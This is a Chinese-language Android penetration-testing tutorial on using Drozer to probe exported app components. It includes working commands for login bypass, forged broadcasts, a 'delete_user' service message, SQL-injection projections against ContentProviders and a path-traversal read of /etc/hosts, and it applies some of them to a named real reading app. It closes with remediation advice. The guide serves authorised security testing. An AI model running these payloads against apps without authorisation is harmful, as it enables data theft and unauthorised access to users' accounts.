目录1. 安卓四大组件2. 准备工作(环境配置)3. 启动客户端和服务端4. 相关命令4.1 基础探测命令(先扫攻击面)4.2 Activity 组件安全测试4.3 Service 服务组件安全测试4.4 BroadcastReceiver 广播接收器测试4.5 ContentProvider 内容提供者(最高危)5. APP测试6. 通用漏洞修复方案7. 完整测试流程
1. 安卓四大组件
安卓的四大组件是构建应用程序的核心模块,分别是 Activity(活动)、Service(服务)、BroadcastReceiver(广播接收器) 和 ContentProvider(内容提供者)。它们各自承担不同的职责,共同协作以提供完整的应用功能。
Activity(活动)
作用:负责界面展示、与用户交互,是应用可视化页面载体。
每个页面对应一个 Activity,持有 Window 承载 View 视图;
拥有完整生命周期(onCreate/onStart/onResume/onPause/onStop/onDestroy);
页面跳转依靠 Intent 通信,可携带数据、启动其他四大组件。
Service(服务)
作用:无界面,后台长时间执行耗时 / 常驻任务。
本地服务:同应用内后台运行,例:音乐播放、文件下载、定时同步;
远程服务(AIDL):跨进程通信,供其他 App 调用功能;
两种启动方式:
startService:独立运行,需手动 stopSelf 销毁;
bindService:绑定宿主,宿主销毁服务同步销毁,支持双向通信。
BroadcastReceiver(广播接收器)
作用:接收系统 / 自定义广播消息,实现组件、应用间解耦通知。
系统广播:电量变化、开机完成、网络切换、屏幕锁屏;
自定义广播:App 内部页面、服务间传递通知;
注册方式:静态注册(AndroidManifest.xml)、动态注册(代码注册,生命周期跟随页面);
执行逻辑轻量,耗时操作需交由 Service 处理。
ContentProvider(内容提供者)
作用:跨应用安全共享结构化数据,统一数据访问标准。
封装数据库 / 文件数据,对外提供增删改查接口(insert/query/update/delete);
通过 Uri 定位数据,配合 ContentResolver 访问;
系统内置:通讯录、相册、短信、媒体库均使用 ContentProvider 对外暴露数据;
自带权限管控,保障跨 App 数据安全。
2. 准备工作(环境配置)
Drozer 是 Android 组件渗透专用框架,核心用于检测导出(exported=true / 含 intent-filter) 四大组件的越权、数据泄露、SQL 注入、DoS、目录遍历等高危漏洞。
PC 端安装 Drozer 客户端
下载地址:https://github.com/ReversecLabs/drozer/releases/tag/3.1.0
将下载的.whl文件放到任意位置执行:安装命令:drozer-3.1.0-py3-none-any.whl
验证安装
模拟器 / 真机开启 USB 调试,安装 agent.apk
下载地址:https://github.com/ReversecLabs/drozer-agent/releases/tag/3.1.0
下载好.apk直接拖进模拟器安装
3. 启动客户端和服务端
打开 Agent,点击 开启(ON) 启动内置 31415 端口服务
监听端口为31415
端口转发:adb forward tcp:31415 tcp:31415
进入 Drozer 控制台:drozer console connect
4. 相关命令
4.1 基础探测命令(先扫攻击面)
# 列出设备所有安装包
run app.package.list
# 查看目标APP完整攻击面(汇总所有导出组件)
run app.package.attacksurface com.xxx.target
# 导出目标APK的AndroidManifest清单
run app.package.manifest com.xxx.target
4.2 Activity 组件安全测试
常见漏洞:登录绕过 / 越权访问敏感页面、Intent 空参数 DoS 崩溃、Activity 劫持、敏感数据 Intent 明文传递。
全套测试命令
1. 查看所有Activity导出状态、所需权限
run app.activity.info -a com.xxx.target
2. 直接启动导出的Activity(测试登录绕过)
run app.activity.start --component com.xxx.target com.xxx.target.SensitiveAdminActivity
3. 携带参数启动(伪造业务数据)
run app.activity.start --component com.xxx.target com.xxx.target.UserInfoActivity --extra string userId "10086"
4. 空Intent测试DoS(不传必填Extra,观察APP是否崩溃)
run app.activity.start --component com.xxx.target com.xxx.target.PayActivity
风险判定:无需登录态校验、无权限限制即可拉起管理员 / 用户详情 / 支付 / 文件管理页面 → 高危越权漏洞。
4.3 Service 服务组件安全测试
常见漏洞:外部无权限启动后台服务、AIDL 跨进程接口越权、恶意参数导致后台逻辑异常、权限提升。
全套测试命令
# 1. 查询所有导出Service、读写权限
run app.service.info -a com.xxx.target
# 2. 启动无权限校验的后台Service
run app.service.start --component com.xxx.target com.xxx.target.DownloadService
# 3. 绑定Service并发送消息交互(AIDL接口测试)
run app.service.send com.xxx.target com.xxx.target.RemoteService --msg 1 0 0 --extra string cmd "delete_user"
风险判定:导出 Service 可外部调用删除数据、同步隐私文件、执行高敏感后台操作 → 高危。
4.4 BroadcastReceiver 广播接收器测试
常见漏洞:恶意 APP 伪造广播触发敏感操作、空 Action / 非法 Extra 导致 APP 崩溃(DoS)、广播明文窃取通知。
全套测试命令:
# 1. 查看所有导出广播接收器
run app.broadcast.info -a com.xxx.target
# 2. 发送自定义广播(伪造业务指令)
run app.broadcast.send --component com.xxx.target com.xxx.target.PushReceiver --action com.target.LOGOUT --extra string token "fake_token"
# 3. 空参数广播DoS测试(不传必填extra)
run app.broadcast.send --component com.xxx.target com.xxx.target.OrderReceiver
风险判定:外部可发送广播触发登出、删除订单、重置密码等操作,或直接使应用闪退拒绝服务。
4.5 ContentProvider 内容提供者(最高危)
常见漏洞:SQL 注入、目录遍历读取本地文件、未授权读取用户账号密码、批量数据泄露、权限绕过。
全套测试命令
# 1. 查看Provider授权、读写权限、导出状态
run app.provider.info -a com.xxx.target
# 2. 自动扫描所有可访问URI(泄露数据表)
run scanner.provider.finduris -a com.xxx.target
# 3. 读取URI内敏感数据(账号、密码、手机号)
run app.provider.query content://com.xxx.target.UserDB/user_info
# 4. 检测SQL注入漏洞(Projection/Selection注入)
run scanner.provider.injection -a com.xxx.target
# 5. 检测目录遍历漏洞(读取本地私有文件)
run scanner.provider.traversal -a com.xxx.target
# 6. 遍历数据库所有表名
run scanner.provider.sqltables -a com.xxx.target
# 7. 利用注入查询全表数据
run app.provider.query content://com.xxx.target.UserDB/user_info --projection "* FROM sqlite_master;-- "
风险判定
无读写权限限制可直接查询用户隐私表;
存在 SQL 注入可拖库、删表;
目录遍历可读取 app 私有目录密钥、本地缓存。
5. APP测试
将测试app安装到模拟器并运行
通过关键字查找待测试App包名
run app.package.list -f App关键字
如这里的熊猫看书中关键字panda
run app.package.list -f panda
查看app详细信息
run app.package.info -a App包名
run app.package.info -a com.nd.android.pandareader
确认四大组件攻击面,出现exported代表对外暴露
run app.package.attacksurface App包名
run app.package.attacksurface com.nd.android.pandareader
查看Activity组件的具体信息,出现 Permission: null,代表权限为空,可直接未授权调用
run app.activity.info -a App包名
run app.activity.info -a com.nd.android.pandareader
未授权调用具体组件
run app.activity.start –component App包名 App组件名
run app.activity.start –component com.nd.android.pandareader com.baidu.shucheng.ui.main.MainActivity
检测Android四大组件安全性
run app.broadcast.info -a App包名
run app.broadcast.info -a com.nd.android.pandareader
run app.service.info -a App包名
run app.service.info -a com.nd.android.pandareader
run app.activity.info -a App包名
run app.activity.info -a com.nd.android.pandareader
run app.provider.info -a App包名
run app.provider.info -a com.nd.android.pandareader
检测数据泄露
run scanner.provider.finduris -a App包名
run app.provider.query 具体的url
检测是否存在sql注入风险
run scanner.provider.injection -a App包名
无sql注入,如果有,执行
run app.provider.query content:/xxxxxx --projection "* FROM sqlite_master WHERE type='table'--"
run app.provider.query content://xxxxx --selection "1=1"
检测是否存在文件读取漏洞
run scanner.provider.traversal -a App包名
如果有执行:
run app.provider.read content://xxxxxxx/../../../../../../../../etc/hosts
6. 通用漏洞修复方案
组件默认不导出:所有非对外组件添加 android:exported="false";
如需外部调用,增加自定义权限校验,配置 android:permission;
Activity 增加登录态 / Token 校验,禁止直接跳转后台敏感页面;
ContentProvider 严格控制读写权限,过滤 SQL 特殊字符,禁止读取任意本地路径;
Broadcast 增加广播发送方身份校验,关键操作增加签名校验;
Service AIDL 接口增加调用权限校验,过滤恶意指令参数。
7. 完整测试流程
环境连通,执行 app.package.attacksurface 汇总全部导出组件;
分别扫描四大组件导出清单,记录无权限组件;
逐个调用导出组件,验证越权、DoS;
ContentProvider 专项扫描注入、目录遍历、数据泄露;
整理可复现命令、截图,输出漏洞等级与修复建议。